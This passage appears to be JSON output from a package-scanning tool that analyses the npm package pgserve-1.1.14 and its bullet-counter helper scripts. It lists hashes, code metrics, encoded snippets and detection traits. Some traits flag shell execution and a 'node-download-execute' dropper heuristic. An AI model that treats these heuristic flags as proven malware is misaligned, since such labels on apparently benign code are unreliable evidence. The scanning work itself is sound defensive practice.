            "b": "y?mYvxK#10w{4]jd\u003cclOzEWY#zdNQbnm=QRw{4]jkoIW6iV{a9i%)8Mv@DmaBrCEjCsVd.zdW{bauZ\u0026RB.\u003e(9Bs}lnA=2Ahy-\u003ekJc#0NeA+f90zGFATA=2Ahy-\u003e}+f^5I1fEY6\u003c3lQDAfcBe7vpQG)x(4t/arUfjzGx[xv@DmbwO#PjjS[uTe]\u003eJiwjyoHwM9\u003e(v\u003c\u003e/ey\u00260W8e[O*lwH[@KB-.jEi43dp3lQE3z/fSraz++fwPF$Say/tcBy/uie]$#Fx(\u003e:JtY7]ri%(rqatkw\u003crD8FSBy=OpxK@r5x(mG8c]0q/zE^s6wN({9zY*.=x(mD)CX7zm3lQE3z/fSraz++fwL3=IwQ2sXayYFfy?mYvy?W=#at1Y\u003ci%)8Mv@DmaBrCHrwk3YPwGTbUy?W=#B6AD{zE(ySwmZ0\u003ei%(rqatkw\u003cqE%/-vpJ\u003c\u003ev@DHcBy/GlazCZoBzbkdy?W=#3lQE3z/fSraz$+moLFxQauZ\u0026=y?cjNzE\u003eCvwPhD]v}v4}arR^Hfka{kAaTlejT:MCd\u003e8POvrci%B.\u003ch?tX2ulfdWCMarR!mxK#10w{4]MbZTAuCsVpYAaTleEiriiA=2Ahy=%4\u003czE[2.vrci%B.(Fl3lQDui%(rqazCA",
            "ln": 1800,
            "col": 25,
            "line": 76
          },
          {
            "b": "arV7t3lQDAfcBtpx()]eB-p(1By!#9v@DmbwO#O%arUGmzE)([y?W=#nP56ICWhBPaz$+moLFxQi%)8Mw]/OGA+PSbmRMWIq*Am\u003cc$msny?mYvw[=6)efF+yzE)(wyhW*7c)@nqcN*Ga3jm)#A+funA=91D3lQDlatbo0vS=H6wPPEgarR^Hv@DmbwO#PJaz$+moLFxQed9HxarUuey\u0026B0ey=SXRwP{WRy\u0026B0ey+b]oarR!uvrci%B.\u003c8YzE[2.vrci%",
            "ln": 2397,
            "col": 1,
            "line": 96
          },
          {
            "b": "y?mYhx(mK33lQ/K3taA#v@#B6zxJF7B8U@7C%VT\u0026y?mYpvS=H6wPPvzDKp(rv@Dmaz!@#qy\u0026r@mn(FIXe]#bPx(mM$w{C!K3lQDlazbt7wJy@MvrufnA+f5}Bzk]fc#:iBv}x.5e[o9oc[cX\u0026vS=H6wPPLpx(4ufed9HxarUGmzE\u003e\u003cKvS=H6wPPLvx(mGk3lQDlaztt5AaTleiV})Oy?%",
            "ln": 2634,
            "col": 15,
            "line": 111
          },
          {
            "b": "avw*]3lQ/K3sO13zET/3B-7Yhx(v(izddc@c[co=3lQE3z/fSrayPq6B09Q*Ab](bwPI]Bvrc17e]$\u0026yv}v5zdlv\u003ezarSr\u003cav{6WA0^Zgx\u003ewFovrc14e]k9pxlm/fjV$}JfD+:\u003cayPq6B1RfAv@co#wPGmEeIgTEy\u0026y:JaBFLVvrc14e[]iky\u0026%o1B0@y/xEtkTaBsCrarR!pz/fSmy?kknz!yECrDzOYwJzg/i%)8",
            "ln": 2910,
            "col": 8,
            "line": 124
          },
          {
            "b": "Bz9pEwO+^%x)a5oAb](bwPI]Bv%qDidj=P:AaAy0wN)A9x(4ufEl5T2B-p(1By!#ny?W=#EpaG=3vJl*zddc@c[c=Uvru0)c$NBtau.[hDKp(rv@Dmaz!@#qwPz*fAWSq7qC{p*iWVE3wPz/zzdN^fvp%d2i%)8MAb](bwPI]BwQ4{hc]0ej3vKu+3i",
            "ln": 4978,
            "col": 26,
            "line": 188
          }
        ],
        "depth": 1,
        "facts": {
          "imp": [
            [
              "",
              "fs"
            ],
            [
              "",
              "require"
            ],
            [
              "",
              "path"
            ],
            [
              "",
              "require"
            ],
            [
              "",
              "require"
            ],
            [
              "",
              "require"
            ],
            [
              "",
              "execAsync"
            ],
            [
              "",
              "promisify"
            ],
            [
              "",
              "searchPath"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "process.cwd"
            ],
            [
              "",
              "pattern"
            ],
            [
              "",
              "require"
            ],
            [
              "",
              "result"
            ],
            [
              "",
              "execSync.trim"
            ],
            [
              "",
              "execSync"
            ],
            [
              "",
              "match"
            ],
            [
              "",
              "result.match"
            ],
            [
              "",
              "counterMatch"
            ],
            [
              "",
              "content.match"
            ],
            [
              "",
              "parseInt"
            ],
            [
              "",
              "parseInt"
            ],
            [
              "",
              "parseInt"
            ],
            [
              "",
              "newHelpful"
            ],
            [
              "",
              "newHarmful"
            ],
            [
              "",
              "content"
            ],
            [
              "",
              "fs.readFileSync"
            ],
            [
              "",
              "lines"
            ],
            [
              "",
              "content.split"
            ],
            [
              "",
              "lineIndex"
            ],
            [
              "",
              "oldLine"
            ],
            [
              "",
              "newLine"
            ],
            [
              "",
              "oldLine.replace"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "lines.lineIndex"
            ],
            [
              "",
              "fs.writeFileSync"
            ],
            [
              "",
              "lines.join"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "JSON.stringify"
            ],
            [
              "",
              "path.relative"
            ],
            [
              "",
              "process.cwd"
            ],
            [
              "",
              "bullet.content.trim"
            ],
            [
              "",
              "args"
            ],
            [
              "",
              "process.argv.slice"
            ],
            [
              "",
              "args.includes"
            ],
            [
              "",
              "args.includes"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "id"
            ],
            [
              "",
              "incrementHelpful"
            ],
            [
              "",
              "args.includes"
            ],
            [
              "",
              "incrementHarmful"
            ],
            [
              "",
              "args.includes"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "process.exit"
            ],
            [
              "",
              "bullet"
            ],
            [
              "",
              "findBullet"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "process.exit"
            ],
            [
              "",
              "displayBullet"
            ],
            [
              "",
              "updated"
            ],
            [
              "",
              "updateBulletCounter"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "path.relative"
            ],
            [
              "",
              "process.cwd"
            ],
            [
              "",
              "main.catch"
            ],
            [
              "",
              "main"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "process.exit"
            ],
            [
              "",
              "child_process"
            ],
            [
              "",
              "fs"
            ],
            [
              "",
              "path"
            ],
            [
              "",
              "util"
            ]
          ],
          "mbr": [
            "JSON.stringify",
            "args.includes",
            "args.length",
            "bullet.content",
            "bullet.content.trim",
            "bullet.file",
            "bullet.harmful",
            "bullet.helpful",
            "bullet.line",
            "console.error",
            "console.log",
            "content.match",
            "content.split",
            "err.message",
            "err.status",
            "execSync().trim",
            "fs.readFileSync",
            "fs.writeFileSync",
            "lines.join",
            "main().catch",
            "oldLine.replace",
            "path.join",
            "path.relative",
            "process.argv",
            "process.argv.slice",
            "process.cwd",
            "process.exit",
            "result.match",
            "updated.file",
            "updated.harmful",
            "updated.helpful",
            "updated.line"
          ],
          "tgt": [
            "JSON.stringify",
            "args.includes",
            "bullet.content.trim",
            "console.error",
            "console.log",
            "content.match",
            "content.split",
            "displayBullet",
            "execSync",
            "execSync().trim",
            "findBullet",
            "fs.readFileSync",
            "fs.writeFileSync",
            "lines.join",
            "main",
            "main().catch",
            "oldLine.replace",
            "parseInt",
            "path.join",
            "path.relative",
            "process.argv.slice",
            "process.cwd",
            "process.exit",
            "promisify",
            "require",
            "result.match",
            "updateBulletCounter"
          ],
          "funcs": [
            [
              "findBullet",
              574
            ],
            [
              "updateBulletCounter",
              1701
            ],
            [
              "displayBullet",
              2647
            ],
            [
              "main",
              2919
            ],
            [
              "err",
              5055
            ]
          ],
          "metrics": {
            "ast": {
              "op.eq": 3,
              "op.add": 2,
              "op.lor": 2,
              "op.sub": 1,
              "op.land": 1,
              "op.lnot": 7,
              "max_depth": 14,
              "call_count": 73,
              "node_count": 1500,
              "member_count": 32,
              "op_density.eq": 0,
              "op_density.add": 0,
              "op_density.lor": 0,
              "op_density.sub": 0,
              "op_density.land": 0,
              "op_density.lnot": 0,
              "max_concat_chain": 2,
              "member_depth_max": 3
            },
            "file": {
              "size": 5127,
              "entropy": 4.88
            },
            "text": {
              "lines": 194,
              "top_char": 101,
              "max_ws_run": 4,
              "digit_ratio": 0.01,
              "space_count": 860,
              "char_entropy": 4.88,
              "unique_chars": 82,
              "top_char_null": 0,
              "string_density": 0.26,
              "top_char_ratio": 0.08,
              "avg_line_length": 25.43,
              "max_line_length": 85,
              "empty_line_ratio": 0.15,
              "last_line_length": 3,
              "whitespace_ratio": 0.21,
              "identifier_density": 1.31,
              "line_length_stddev": 22.24,
              "normalized_string_count": 3.59,
              "suspicious_string_ratio": 0.02,
              "normalized_unique_identifiers": 7.76
            },
            "binds": {
              "count": 21
            },
            "binary": {
              "peak_region_bytes": 5120,
              "peak_region_entropy": 4.9
            },
            "source": {
              "function_count": 4
            },
            "imports": {
              "count": 4,
              "stdlib_count": 4,
              "stdlib_ratio": 1
            },
            "strings": {
              "bytes": 1035,
              "count": 50,
              "avg_length": 20.7,
              "max_length": 67,
              "avg_entropy": 3.03,
              "empty_count": 6,
              "entropy_stddev": 1.19,
              "embedded_code_candidates": 1
            },
            "comments": {
              "chars": 735,
              "count": 17,
              "lines": 35,
              "to_code_ratio": 0.22
            },
            "functions": {
              "count": 4,
              "density": 2.58,
              "anonymous": 1,
              "avg_params": 1,
              "code_ratio": 0.81,
              "max_params": 3,
              "length_stddev": 22.52,
              "avg_name_length": 11.5,
              "no_params_count": 2,
              "avg_length_lines": 31.4,
              "max_length_lines": 64,
              "min_length_lines": 4,
              "avg_param_name_length": 9.2
            },
            "identifiers": {
              "count": 254,
              "unique": 59,
              "avg_length": 7.1,
              "max_length": 19,
              "min_length": 2,
              "avg_entropy": 2.43,
              "reuse_ratio": 0.23,
              "length_stddev": 3.47,
              "all_lowercase_ratio": 0.68,
              "all_uppercase_ratio": 0.02
            }
          }
        },
        "id": 9,
        "mol": "H₄(DbF₃OsPo₂)Md(In)",
        "path": "pgserve-1.1.14.tgz!!package/.genie/scripts/helpers/bullet-counter.js",
        "pid": 0,
        "risk": 6,
        "sha": "21758e8266295c5714323152b1dc7126565739fefd6ce5e00e53a4e4433e06dc",
        "size": 5127,
        "traits": [
          {
            "id": "metadata/file/profile/language::lang-english--atom-2",
            "conf": 0.8,
            "crit": 2,
            "desc": "English function-word token \"and\"",
            "spans": [
              [
                62,
                0
              ]
            ]
          },
          {
            "id": "metadata/file/profile/language::lang-english--atom-5",
            "conf": 0.8,
            "crit": 2,
            "desc": "English function-word token \"for\"",
            "spans": [
              [
                98,
                0
              ]
            ]
          },
          {
            "id": "metadata/import/builtin::require-child-process",
            "conf": 0.8,
            "crit": 3,
            "desc": "require() of the child_process module",
            "spans": [
              [
                363,
                7
              ]
            ]
          },
          {
            "id": "metadata/import/builtin::require-fs",
            "conf": 0.7,
            "crit": 2,
            "desc": "Imports the Node.js fs module",
            "spans": [
              [
                301,
                0
              ]
            ]
          },
          {
            "id": "metadata/lang/scripted::require-symbol",
            "conf": 1.0,
            "crit": 1,
            "desc": "CommonJS require symbol",
            "spans": [
              [
                301,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/control-flow/module-exec::module-leading-promise-chain-call",
            "conf": 0.84,
            "crit": 3,
            "desc": "Leading promise-chain call at module scope",
            "spans": [
              [
                5042,
                13
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/envelope::result-assignment-key",
            "conf": 0.4,
            "crit": 1,
            "desc": "Result field or assignment key",
            "spans": [
              [
                831,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/json::json-stringify-call",
            "conf": 0.5,
            "crit": 2,
            "desc": "Calls JSON.stringify()",
            "spans": [
              [
                2694,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/read::cwd-reference",
            "conf": 0.84,
            "crit": 1,
            "desc": "References the Node.js current working directory",
            "spans": [
              [
                631,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/write/direct::js-file-write",
            "conf": 1.0,
            "crit": 2,
            "desc": "Writes file via Node.js fs",
            "spans": [
              [
                2461,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/write/direct::node-write-file-sync",
            "conf": 1.0,
            "crit": 3,
            "desc": "Node synchronously writes a file",
            "spans": [
              [
                2461,
                16
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/write/direct::node-write-file-sync-call",
            "conf": 1.0,
            "crit": 3,
            "desc": "Node calls imported writeFileSync",
            "spans": [
              [
                2461,
                16
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/module/load::cjs-require-in-try-fallback",
            "conf": 0.9,
            "crit": 3,
            "desc": "CommonJS require inside try fallback",
            "spans": [
              [
                764,
                39
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::process-cwd-call",
            "conf": 0.7,
            "crit": 2,
            "desc": "process.cwd() call",
            "spans": [
              [
                631,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/exec::node-promisified-exec",
            "atk": "T1059",
            "conf": 0.9,
            "crit": 3,
            "desc": "Node promisifies the shell exec API",
            "spans": [
              [
                447,
                9
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::child-process-exec-destructure",
            "atk": "T1059",
            "mbc": "C0017",
            "conf": 0.9,
            "crit": 3,
            "desc": "Destructures exec from Node.js child_process",
            "spans": [
              [
                352,
                33
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::execSync-call",
            "atk": "T1059",
            "mbc": "C0017",
            "conf": 0.85,
            "crit": 3,
            "desc": "Runs shell commands synchronously with execSync",
            "spans": [
              [
                840,
                8
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::js-execsync",
            "conf": 1.0,
            "crit": 3,
            "desc": "Executes shell commands synchronously",
            "spans": [
              [
                840,
                8
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/local::node-exec-require-destructure-binding",
            "conf": 0.94,
            "crit": 1,
            "desc": "Destructures Node exec from require",
            "spans": [
              [
                352,
                0
              ]
            ]
          },
          {
            "id": "objectives/command-and-control/dropper/node-download-execute::node-helper-wrapped-child-process-name",
            "conf": 1.0,
            "crit": 1,
            "desc": "Helper resolves child process module",
            "spans": [
              [
                363,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/read::read-node",
            "conf": 0.9,
            "crit": 3,
            "desc": "Reads files with Node.js",
            "spans": [
              [
                1942,
                15
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/read::readfilesync-call",
            "conf": 0.9,
            "crit": 3,
            "desc": "Calls readFileSync",
            "spans": [
              [
                1942,
                16
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/write/file/direct::write-file-sync",
            "conf": 0.95,
            "crit": 3,
            "desc": "Node fs writes to a file synchronously",
            "spans": [
              [
                2461,
                16
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::child-process-destructure-require",
            "atk": "T1059",
            "mbc": "C0017",
            "conf": 0.85,
            "crit": 3,
            "desc": "Destructures APIs from Node.js child_process",
            "spans": [
              [
                352,
                33
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/read::file-content-read-operation",
            "conf": 0.82,
            "crit": 2,
            "desc": "File content read operation",
            "uses": [
              20
            ],
            "spans": [
              [
                1942,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/module/load::node-system-module-import-set",
            "conf": 0.88,
            "crit": 3,
            "desc": "Imports at least two Node system modules",
            "uses": [
              2,
              3
            ],
            "spans": [
              [
                363,
                7
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::child-process-exec",
            "atk": "T1059",
            "mbc": "C0017",
            "conf": 0.85,
            "crit": 3,
            "desc": "Node.js child_process execution",
            "uses": [
              16
            ],
            "spans": [
              [
                840,
                8
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/local::node-exec-child-process-binding",
            "conf": 0.94,
            "crit": 1,
            "desc": "Binds Node child_process exec",
            "uses": [
              18
            ],
            "spans": [
              [
                352,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::child-process-require",
            "atk": "T1059",
            "mbc": "C0017",
            "conf": 0.8,
            "crit": 3,
            "desc": "Imports the Node.js child_process module",
            "uses": [
              2,
              23
            ],
            "spans": [
              [
                352,
                33
              ],
              [
                363,
                7
              ]
            ]
          }
        ],
        "type": "javascript"
      },
      {
        "id": 10,
        "mol": "H₃(DbOsPo)Md(In)",
        "sha": "84dd636e2ceab8a088b0cf61c3eda4a2404a9d409cdebcb169bd10f76d7ce8cc",
        "path": "pgserve-1.1.14.tgz!!package/.genie/scripts/helpers/bullet-find.js",
        "risk": 4,
        "size": 7277,
        "type": "javascript",
        "depth": 1
      },
      {
        "id": 11,
        "mol": "H₂(DbF₄)",
        "sha": "ecf980aa2ea265ad6428ef7df67a6615ecf9f801bbf8d96d59ea19b6d0d588a6",
        "path": "pgserve-1.1.14.tgz!!package/.genie/scripts/helpers/bullet-id.js",
        "risk": 5,
        "size": 5766,
        "type": "javascript",
        "depth": 1
      },
      {
        "ctx": [
          {
            "b": "boXZ.B8\u0026{yx(kOnzGWduz!9z^3s!0(B95KrBAzFyarS/\u0026A+flkx(W=kcUNQzAc0xQi%]FozGx[xxMOunarR^\u0026aAz4kB.L(cc)@XIBz@PRi%]FozGx[xv@=\u003clBz\u0026o+aAz4kB.L(cc)@IBD2N\u003ezcN?a:v@DmaBrCHyarR^HauZ\u0026/wPq\u003cbA+cTDz/WoPi%]FozGx[xw]/7qarR^\u0026aAz4kB.L(cc)@RFcN?a:v@DmaBrCKhBz8^tauZ\u0026/wPq\u003cbA+cTDAa9\u003c4cN?a:v@DmaBrC]MwQ4=@q*Am\u003caBLv}aAz4kB.L(cc)@Irx(4r!Ab](bwPI]udlv\u003ezx\u003ewFoAb](bwPI]BwO#VzuR\u003cx=uRa0:r3js!jS(abcN*fSA=kD0B8@%BCXImFfEY6\u003cAb](bwPI]BwO#VzuR\u003cx=uRa0:r3jsDcOV#g3jpoYzGx[xq:\u003cR-nL-8*nKKWzauZ\u0026PBy/nubZR{/By^7xz*9PUEjVZ\u003eo\u003c@cSe]\u003exrwn=rkdk2ZXq/)4]zF7vNhyQn1y?Wx\u003cc]9tkdsCO=3s!0(B95Kamm6KvpFk4{qCnhQjS[Y:z!0v1B1R3wB$M-.oKyj-l@lVJpe\u0026tUE0^4:xMOunB2\u003e%cBy/o1zdN*fC}JJAx!sguzFsihAXp\u003cuz7*5!fly=wwO(12A^o2]3s!0(B95Kamm6KvpFk4/moH-QjS[Y:z!0v1B1R3wB$M-.oKyZ\u0026m]0z:moH-QaBFLVcNQ$.v@DmaBrBEIm[DSUqDUa+arR^\u0026aAhvtv}x.5e[F{ze]CSBuT[1(w[+)+A+e($B98CFaBFLVcUNQzAc15[flgSpx(!xpC}J#NzeabAz/PFri%]FozGx[xl@Ee{qDlEmarR^HauZ\u0026^A=kD0B8@%BzGWT2nMeO}q=#\u003c.ar-)hasy=fy\u0026:eni%]FozGx[xo*I(*p/p7=uS6f\u003eauZ\u0026^A=kD0B8@%BzGWT2nMeO}q:TtSmlp\u0026^z/fSrawCd7uR\u003cS@p-{(6arS/\u0026o*I(*p/p7=uS6f\u003eau.\u003eJaszqHy?W:2By!#gau{#uzF0Q2x([RyiV@xIA=U!-zGEp3l0dF\u003cqCQa@qBawbE0^4:fEFy]f!+4r3s!0(B95K9mn=DFq:?/KarR^HjS\u003e)\u003eAb](bwPI]BwO#Vzp!Kq=l}6Bxm(}4+v@DmaBrBEWl0)C*lqf%ruRr*\u003cuR\u003c3/nfy5rAb](bwPI]BwO#VzqD2\u003e*p/P?QnKD\u0026TmoJ$]k#ZwZarV5VaAg+hxFa4rx(ktauU0\u003e\u003ezEEx[efDrVBZ/f3v\u003eI.iz6{+]3jpoYzGx[xy\u0026r@ejS)%mi%]OxzEW^5z/cW\u003ec#B3rdiJ%Wy\u0026r@sAclknc#B3rdlwU^w/@H5mn=DFq:\u0026bTv@Dmaz!@#qy\u0026r@mzf6tsj0n}U3taA#v@#B6zxJF3v@=\u003clBvf.Zz/65ZvrlHlz/PwpwO#0#D2N\u003epwjf\u003cFvjrsC3lQEkA^n^O3lQDlazCBgc)retv@=\u003clBy!#Jvrt{2E0^5FzEWZjAcbV4l$7gCe]k9pxlm/fjrMBeaAz4nB-IvxzGP=ii%)8MarR1larR!pz/fSraAhvjw[=GjjS[rNv@=\u003clBy!#Jvrt{gB8kM2wHGk-atUD0Bz\u003e91A+PA7c)%dVw\u0026Id!i%)8MarUxgasIhHwObU3ar-)haszs!fEE$\u0026clNnFwObU3ar-)haszs!f^!y)DKp(rarR^HA+funA=91hzEWZjAcbV4l\u0026",
            "ln": 0,
            "col": 1,
            "line": 1
          },
          {
            "b": "xdbcIBy)GWdlv\u003eVarR!P3lQDlapoklarUfjzGx[xAa9*eCw?IjauZ?{AaJD}B-.WLi%)8MarUfjzGx[xB75)bauZ\u0026lB.kk%AXp%Az/3)IB75)bD2)zgBseI03lQDlay/tcB95KsBy/G3BzkVhB09Q*f/]Z+arR!pz/fSrazULly?mGbjS(Eqi%)8MarR1larR!pz/fSrazULlauZ\u0026SA^qRCz.u0ryH?3jq*Am\u003cc#-QoB9zLywgO\u003cAvqH3pazC}eA::67z/fREazULly?mGnaszkzvkfbUi%)8MarR1larR!pz/fSrazD0wjS[rNv@=\u003clBy!#Jvrt{gB8kM2wHGt=atC-5i%)8MarUfjzGx[xv}/)}wPz)7CYU5\u003eaz2C2A^qRCwN[hqByu!yy?Wx\u003cc]0Odi%)8MarR1larR!pz/fSray]4[x(E-%AV^H/v@=\u003clBz\u0026^wA+eW3wKH9tx(E-%A+PXBcT*OceIP1ueN@m1cOcxQwQb*Hx)7{!3lQDlaz+Rhay]4[A^qRCwN(]Day]4[x(E-%AXqGNwmoN\u003ec$u$gxK#jawQ5qCi%)8MarUiav@=\u003clBy!#9jS)7lw[CQ{e[n*qv{%Ectv.qPA^qRCwN)tmwmYm+Aa\u0026*6e[O!",
            "ln": 1368,
            "col": 35,
            "line": 35
          },
          {
            "b": "juT/whxTs[aAg+1wnb{]oL59OBz8^Xattk!DKp(rarR^HwmYm\u003eD2N\u003epwfs2TwmYm\u003eD2N\u003epwg?}tx\u003e7Z5fF1tSwN/+aAcbV4e]k9pxlm/feG/1vwmPy(xg#(Oxlm/oi%)8MarV7tarR^H3lQDlaAz4nB-IvxwmYm\u003eD2N\u003epwg?$xq/)4]zF7vBB-.jPcN?a:arV7Pv{%D",
            "ln": 1966,
            "col": 23,
            "line": 53
          },
          {
            "b": "BrCKhB8#LzA+6kljS)%mi%)8M3lQE3z/fSraARgiA71dTjS[YLBz9pwz!T8qz/WKMze:31AWSv/ayFX)A=k/auU\u003cT[x(mo*vrt{+bZR{/By^7xz*9PUEj/5tu[1eAarR1laARTHaBsCrarR!sB1Q%vAcT]!y?lK\u003czEU8hz!A^4l$7gCp*[DVefG4Cze.)Ldlv\u003eVarR^larR^Hv@DmaBrCQnB9hqvauZ\u0026UCX7w-D2vauu#{s7x()]xar\u00267TBy/rdl$gM*ar\u003c-MoHRrFaA8pmxk8l\u003cB-IpHaA.:pA=br5wNxQ?y\u0026%quaAg+gB9zLywm6H*y\u0026%qimP92Raz+$ex(m#oatMblwmY{qzGP=iaBFLVwN/y(ar\u00261qed9HxarR^HDMV)qv@C)(zF80McT}jgw[u0gefF!rCTuK+w[u0zat\u003e?}dJ*D1gbHa6atCM9g+o+\u003ex(dB1B-YU!f!+pnfD+=JarR^Hdlv\u003eVarR^larR^Hx\u003ewFoa-.dnB.(dxE0^5SwPJ0gBs}xvzFa68au.\u003eJattk!DKp(rarR^Hw]/OEzFT38yG2H@v\u003c(Cgze.)Ldlv\u003eVarR^HaAz4nB-IvxAa9*eCw?IjB2%ZKarR!P3lQDlapoklarUfjzGx[xy?W=#B09Q*A+frmy\u0026?pKz=p:#x(mMicV%Jyi43dcBAh8jc[c=\u0026Abolgc)@nqcN?a:arR^H3lQDlazbLjasH-rzGx[xy?W=#aA7\u003cmy?W=#B15kU3lQDlarR!pz/fSraAg+fBAnM/az++fwIe4yy?W#tcWWo\u003ci%)8MarR^Hx\u003ewFoAa9^eB1RouzFa68au?}hgBTC[3lQDlarR^Hay/tcB95KEA+(\u003cYaAg+fBApUut@@xoarR^HarR!pz/fSraA.:pA=br5wGTbUAa9^eB6yw8i%)8MarR^HarUfjzGx[xwO#0#D2N\u003epwkDYQB09Q*luM)LwPxznA=k!yAa9^eB6yz9efDrHx(mv1C{+453lQDlarR^HapoklarR^HarUfjzGx[xwmYm\u003eD2N\u003epwkDYQB09Q*wmYm\u003eD2N\u003c)xMw3dwL=/RB9zLywgh2bv@=\u003clBy!#VvrlGsi%)8MarR^HarR1larR^HarR!vw/@HjwN/+aAcbV4p*[A^asnATwmYm\u003eD2N\u003epwkDYQB08R?jS(aRwmYm\u003eD2N\u003etz/e]]vqfK?wg5/GDKp(rarR^HarR^HAa9*eCw?IjB1RAOB7=$G3lQDlarR^HarR^HaA.ZviV@M=y+x^KvSMTix(mMifF1t4fFB}b3lQDlarR^HarR^HaA.:pA=br5wJy@RB7GxfvqPNdB9g@kBAh8kxdbC+atCM7dj+/GarR^HarR^HarR!CvrlHlz/PwHay]4[A^qRCwN[RCB8@(tarR^HarR^HarR^HB8Mhwv}vXzcU3?gz/65)y\u0026r%2zEl{.ByuK7arR^HarR^Hao",
            "ln": 2244,
            "col": 7,
            "line": 64
          },
          {
            "b": "arR^HarR!P3lQDlarR!P3lQDlaBKOtarR^larV7Pv{%E?xDOZmdiJ%AarV7Pw[=c\u003ey\u00261wtDKp(rarU=DC{4CRw]/OEzFT38yG2H@v\u003c(Cgze.)LdlwV2ay!\u00264v}W0iEf}8tEf}8t3lQEiwPS6nzxJ[bB8#LzA+6kM3vJl*w{503BzkVhazth7C4C-pc[co=3lQE3z/fSraAIaiA@",
            "ln": 3395,
            "col": 2,
            "line": 98
          },
          {
            "b": "ed9HxarSszrZ/[Nmnd5wx!gwWuqr{*oI4YRuOuaAatm4(mn=]OrBmy[ed9HxarSszlRgfyoHQQGefDPLr8M1.nMdoRefDPLlrcPJl}Z9Jmk5va3lQDlatm52s4M7SpHt+?efDPLq:\u003cCHm]z]DuOuaAatm4}k$K:urzD)Ox!fPlarR^Wuqr{\u003cqBKnJlOAd8atm4$k$svwl@^h?fkh%Wfj4BJq+6nKnKUpDed9HxarSszq=MTWlp1Ksfkh%Wfj4atqBJ]rq:\u0026uNec",
            "ln": 3964,
            "col": 44,
            "line": 119
          },
          {
            "b": "ay/tcB95KmA+e=)zGGP3y\u0026ZZZaBwI#3lQE6z/M%Gv@DmaBrB!6efGawaA7\u003cmpHX6Iv@%tmzGG]kwPGnsA=kD0B8@%BzGWDTaBsCrarR!vw/@HywO#N6Bzk]fp*[D/wPzWfe]$@FwHIHujW70ce{7VCBsp]NdjDxHA+e=)zGGP3y\u0026-/@t{8oMB#{3NaBKO7arUfjzGx[xw]*)Zv@=d5B09Q*DWN%.arUfjzGx[xxM4:0auZ\u0026=B1RcAzdNl(AWSv#3jm)#w{503BzkVhazk.6vKM53vR6vbazbt7wPh71xEL6J3lQDlaARTHaBsCrarR^HazCBgc$WJMwQ4{gBApxazEU8bx(4v1vrufidiJ%AarR^HarR^Hw]*)Zv@=d5B6AD?vR6vYauZ\u0026VB1RGAvpR\u0026wy?lK\u003czEU8bx(4v1vruflaszqNw\u0026Id!i%)8MarR^HarUYoBAIRwaARTDwJHkwarR^HaBKOtarR!Pay!\u00264v}W0iEf}8tarUYoBAIRwazb4#B7EAuarV7t3lQE6B-7Yhx(v(ixl4A\u0026l${V\u0026y**^:y+cYtx(Xf3Bz9iFw[=76wPxj",
            "ln": 4353,
            "col": 2,
            "line": 131
          },
          {
            "b": "aARTHaBsCrarR^HazCBgc)rhze[GowB98F4D2vauwnc76vrufidiJUxBAIRwi%)8MarR^Hv@DmaBrCgfy?mVgjS[uTe]\u003eJiwmPy{q*Am\u003cc$E4jAa9\u003c4dk2jDy\u0026\u003clec$WgfBy/FnE0^4+c[co4j%j@/B.90Ji%)8MarR^Hx\u003ewFow[=6)B1RouzFa68au.\u003eJattk!A+funA=9@CarR^HarUoqq!oDVwPR#$y**^:y*weDazbt7wPGFvvq)Sbau.[hDKp(rarR^HarU=DC{4CRA+funA=91Daz$R8wJy@CefFCvzGGDcBugKRB1RGAvpR\u0026wy?lK\u003czEU8lve",
            "ln": 4818,
            "col": 4,
            "line": 150
          },
          {
